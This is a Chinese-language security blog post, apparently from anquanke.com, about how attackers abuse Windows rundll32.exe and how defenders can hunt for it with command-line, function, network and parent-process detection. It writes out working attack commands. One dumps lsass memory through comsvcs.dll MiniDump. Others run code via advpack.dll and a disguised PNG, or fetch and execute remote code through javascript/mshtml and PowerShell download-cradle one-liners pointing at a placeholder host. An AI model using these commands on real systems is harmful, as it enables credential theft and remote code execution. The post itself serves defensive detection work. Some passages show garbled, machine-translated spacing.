前言

上一篇文章在介绍cs的一些行为特征时，经常会提到rundll32.exe，甚至非安全人员也可能熟悉这个过程。

顾名思义，rundll32.exe可以用来执行DLL文件，也可以调用文件中的内部函数。

它的历史可以追溯到Windows95，是几乎所有Windows操作系统的必备组件，不能轻易禁用。

攻击者可以利用rundll32.exe在DLL文件中加载恶意代码，避免像其他EXE文件一样直接存在于进程树中。

此外，攻击者可能会滥用合法DLL文件中的导出函数，如comsvcs.dll和MiniDump，这将在后面介绍。

除了加载DLL文件，rundll32.exe还可以通过RunHtmlApplication函数执行JavaScript。

正是因为这些特点，rundll32.exe很容易赢得攻击者的青睐，在攻击技术的普及程度上也往往名列前茅。

常用场景

—rundll32.exedllname

当然，在我们日常使用操作系统的过程中，可能会看到通过rundll32.exe调用某些DLL文件中特定函数的行为：

—rundll32.exedllname，entrypointoptionalarguments

例如，当我们右键单击一个文档并选择一个特定的& quot打开方法& quot，会弹出一个窗口让我们指定要打开的应用，实际上相当于在后台执行以下命令：

—c : \ Windows \ System32 \ rundll 32 . exec : \ Windows \ System32 \ shell 32 . dll，OpenAs_RunDLLfile_path

以修改hosts文件为例，通过WIN R执行以下命令，弹出选择窗口：

—c : \ Windows \ System32 \ rundll 32 . exec : \ Windows \ System32 \ shell 32 . dll，OpenAs _ rundllc : \ Windows \ System32 \ drivers \ etc \ hosts

类似的行为通常出现在我们的日志中，如下所示：

关于shell32.dll，比较常见的函数有Control_RunDLL和Control_RunDLLAsUser，可以用来运行。CPL文件，一般主要是控制面板里的小程序。

例如，打开防火墙：c : \ Windows \ System32 \ rundl 32。exec 3360 \ Windows \ System32 \ Shell32.DLL，Control _ rundll c : \ Windows \ System32 \ firewall . CPL

显然，这里的CPL文件也可以替换成恶意文件，所以一旦出现可疑的路径和文件名，我们需要结合其他工具来检查其合法性。

至于这种攻击技术的使用细节，这篇论文值得一读，我就不在这篇论文里细说了。

此外，还附上了一个表格链接，其中包含了rundll32.exe在Windows10上可以快速调用的命令列表及其功能含义。

毕竟人生苦短，不可能每个人都记住那么多命令，但你不妨先把它们标记出来，必要时迅速找出它们的含义。

攻击方式

合法的DLL调用

例如，使用comsvcs.dll中的MiniDump函数来转储目标进程的内存，从而实现凭据窃取。请参考此处：

—c : \ Windows \ System32 \ rundll 32 . exec : \ Windows \ System32 \ com SVCs . dll，minidumppidc : \ temp \ lsass . DMP full

同样，advpack.dll，最初用于帮助硬件和软件读取和验证。INF文件也将被攻击者用来执行代码。

印象比较深的是之前分析一些木马病毒的时候看到过类似的技巧，特意搜了一下。这里好像有相关文章：

该病毒在图片中存储恶意代码，代码执行就是白白利用它完成的。不熟悉的朋友真的很容易隐瞒：

—c : \ windows \ system32 \ rundll32 . exe advpack . dll，launchinfsection c : \ Microsoft \ 360666 . png，DefaultInstall

当然，这些攻击在实际使用过程中会有很多变种，可以用来绕过一些常规的检测手段，比如MiniDump函数的调用也可以由#24号完成。

感兴趣的朋友可以看这里：

远程代码加载

—rundll32.exejavascript:"\..\mshtml,RunHTMLApplication";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell-nop-execbypass-cIEX(New-ObjectNet.WebClient).DownloadString('http://ip:port/');"

—rundll32.exejavascript:"\..\mshtml,RunHTMLApplication";document.write();GetObject("script:https://raw.githubusercontent.com/XXX/XXX")

值得一提的是，根据笔者的观察，目前还没怎么看到日常活动中关于javasciprt关键字的合理使用场景，所以通常我会直接将该特征加入检测模型

想深入了解这一攻击手法，更多内容可以看看这篇文章

滥用COM组件

关于rundll32.exe还有一些比较少见的命令行参数————-sta和-localserver，它们俩都能用来加载恶意注册的COM组件

登上自家的SIEM去看看，说不定也能够发现以下活动(至少我确实根据相关数据狩猎到了一些有意思的活动:P)

—rundll32.exe–localserver
—rundll32.exe–sta

对COM组件不熟悉的童鞋可能需要先得去补补课，比如ATT&CK在持久化阶段中提及到的T1546.015-ComponentObjectModelHijacking

简单来讲，当我们看到类似的命令行参数时，最好先去看看对应注册表下的键值对是否包含恶意的DLL文件或SCT脚本

它们通常在这个位置：\HKEY_CLASSES_ROOT\CLSID\，可结合下图食用

关于具体的利用原理和攻击细节可以看看这里，还有这篇文章中提到的使用-localserver作为攻击变种的使用姿势

检测技巧

命令行检测

首先让我们一起回顾一遍rundll32.exe的基本使用方法：

—rundll32.exe,

从rundll32的文件位置开始，我们可以设定一条最基础的检测规则，因为它通常只有以下两种选择：

-C:\Windows\System32\rundll32.exe-C:\Windows\SysWOW64\rundll32.exe(32bitversionon64bitsystems)

虽然简单，但也不并一定完全无用武之地：

接着，让我们开始关注DLL文件和导出函数

通过前文的介绍，我们应该能达成共识：在日常活动中，rundll32.exe的出场次数并不少见

对于这种可能存在较多干扰信息的情况，我习惯使用漏斗模型来帮助缩小检测范围，简单来讲就是尽你所能(不一定非得用UEBA)去建设行为基线，然后剔除正常活动，重点关注偏离动作

例如，我顺手统计了下自己电脑上出现过的DLl文件和导出函数，实际应用时，可以采集足够多的良性样本，充实我们的白名单，或者借此优化采日志集策略

经过像漏斗思维一样的筛选，可以缩减我们的狩猎范围，更加聚焦于异常行为，从而提高狩猎的成功率

在实际生产环境中，对于行为基线之外的活动，仍然可能包含大量业务相关的正常行为，这时还可以运用长尾分析法，关注特定阈值之下的少数可疑行为

或者我们也可以检查下有哪些不规范的文件或者函数名，比如这里我只简单设置条件为未包含关键字“.dll”

对于之前提过CobaltStrike在后渗透阶段调用rundll32.exe的方式，就可以很轻松地通过这一技巧检测出来

另外，其实我印象比较深刻的是以前使用该技巧发现过这么一起异常行为：rundll32.exeuwcidcx.vb,capgj

当时只是觉得可疑，还不敢直接定性，直到写这篇文章时，在RedCanary的报告中发现了类似的攻击活动，且有着相同的上下文特征，才得以确认为某后门病毒

当然，这种方法可能会存在漏报，所以需要结合后文中的其它检测点搭配食用

敏感函数监测

前面介绍过一些使用合法的DLL文件及其函数完成的攻击活动，这种特定的白利用行为就需要我们重点关注了

例如MiniDump与其对应的函数编号#24，其它更多的tips可能需要请红队成员帮帮忙，毕竟术业有专攻嘛

还有javascript的用法，因为它在日常行为中非常罕见，所以也可以享受下特殊待遇，加入观察名单

当然，有些特殊行为我们无法一眼定性，这时往往需要安全人员进行人工判定

对于这种场景，我们可以针对这些敏感的函数调用行为建设相应的dashboard

例如上文提到的-sta关键字的用法，我们可能不方便根据GUID完成自动化研判，但是可以通过一些技巧提高狩猎效率

通信行为监测

根据我的观察经验，rundll32在网络通信行为上的花样并不多，这对于我们建立异常检测模型是非常有利的

我在自己的主机上统计了下，只有实验中beacon通信时留下了rundll32的网络通信日志

当然，实验环境的数据没有说服力，而且我自己也维护了一份白名单，过滤后的数据量很少，这里只是演示下统计方式，大家可以在自己的环境中去试一试

如果有EDR在进程通信时能采集到相应的命令行日志，我们还可以结合进程和网络行为一起分析

而通常情况下我们的日志中可能会缺少这些字段(例如sysmon)，没关系，这时我们就一切从简

比如直接结合威胁情报食用，调用API查询rundll32.exe的目的地址是否可疑

另外，如果rundll32.exe存在扫描行为或者访问特殊端口(例如445、数据库端口等)，这种情况应该不用多讲了吧(PS：我还真遇过好几次)

要是还想玩点高级的，可以结合通信频率，学习下检测beacon的姿势，比如根据jitter特征检测C2通信，参考这篇文章

异常关系检测

这部分可能涉及到的攻击手法就比较多样了，比如钓鱼邮件、webshell、计划任务或WMI等持久化中都有可能用到rundll32.exe

所以需要对相关进程间的父子关系列一份检测清单，例如以下进程就应该划上重点：

-winword.exe-excel.exe-taskeng.exe-winlogon.exe-schtask.exe-regsvr32.exe-wmiprvse.exe-wsmprovhost.exe...

而对于清单内的进程，我们还可以借助图数据来构建dashboard，如果有个专门的模块能够记录这些罕见的进程链，监测时便是一目了然

当然，有机会的话，也别漏掉了一些特殊的访问关系，比如rundll32.exe对lsass.exe发起高权限的进程间访问

小结

最后，这篇文章中贴的相关链接比较多，大部分都需要翻出去才能访问，所以如果遇到无法访问的情况其实是正常现象

有些地方的贴图不方便展示真实数据，只能贴网图或者在实验环境下截图，显示的数据样本会比较小，但是文中的结论实际上有大量样本支撑，基本可以放心食用

如有纰漏之处，或者其他有意思的发现，欢迎私信交流~~

本文由慕长风原创发布
转载，请参考转载声明，注明出处：https://www.anquanke.com/post/id/263193
安全客-有思想的安全新媒体